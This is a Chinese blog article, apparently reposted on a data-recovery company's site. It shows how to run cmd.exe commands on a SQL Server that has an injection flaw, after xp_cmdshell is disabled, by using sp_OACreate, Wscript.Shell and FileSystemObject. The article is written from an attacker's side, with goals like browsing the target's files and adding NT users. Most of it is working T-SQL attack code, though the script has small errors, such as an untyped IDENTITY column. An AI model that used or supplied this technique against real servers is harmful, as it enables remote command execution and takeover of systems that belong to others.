当前位置:主页 > 数据修复 >

    不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

    2010-09-13 14:09 作者:admin 来源:admin 浏览次数:

    我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

    EXEC master.dbo.xp_cmdshell 'dir c:\'

    但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

    对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetPRoperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
    sp_OACreate
    在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
    语法
    sp_OACreate progid, clsid,
    objecttoken OUTPUT
    [ , context ]
    sp_OAGetProperty
    获取 OLE 对象的属性值。
    语法
    sp_OAGetProperty objecttoken,
    propertyname
    [, propertyvalue OUTPUT]
    [, index...]
    sp_OAMethod
    调用 OLE 对象的方法。
    语法
    sp_OAMethod objecttoken,
    methodname
    [, returnvalue OUTPUT]
    [ , [ @parametername = ] parameter [ OUTPUT ]
    [...n]]


    思路:
    先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

    以下是相应的SQL语句


    CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
    DECLARE @shell INT
    DECLARE @fso INT
    DECLARE @file INT
    DECLARE @isEnd BIT
    DECLARE @out VARCHAR(400)
    EXEC sp_oacreate 'wscript.shell',@shell output
    EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
    --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

    EXEC sp_oacreate 'scripting.filesystemobject',@fso output
    EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
    --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

    WHILE @shell>0
    BEGIN
    EXEC sp_oamethod @file,'Readline',@out out
    INSERT INTO MYTMP(info) VALUES (@out)
    EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
    IF @isEnd=1 BREAK
    ELSE CONTINUE
    END

    DROP TABLE MYTMP

联系方式 | 收费标准 | 上门服务 | 公司简介 | 汇款账户

回天时代有限公司

杭州公司: 杭州市文三路388号钱江科技大厦10楼1016室

华东总部:上海市徐汇区漕溪北路41号汇嘉大厦12楼E室(太平洋一期12楼)

咨询热线:400-889-1122(全国),0512-66099871(苏州),021-58358765(上海),0571-88218821(杭州) 24小时热线:13524645444,案:浙ICP备06024533号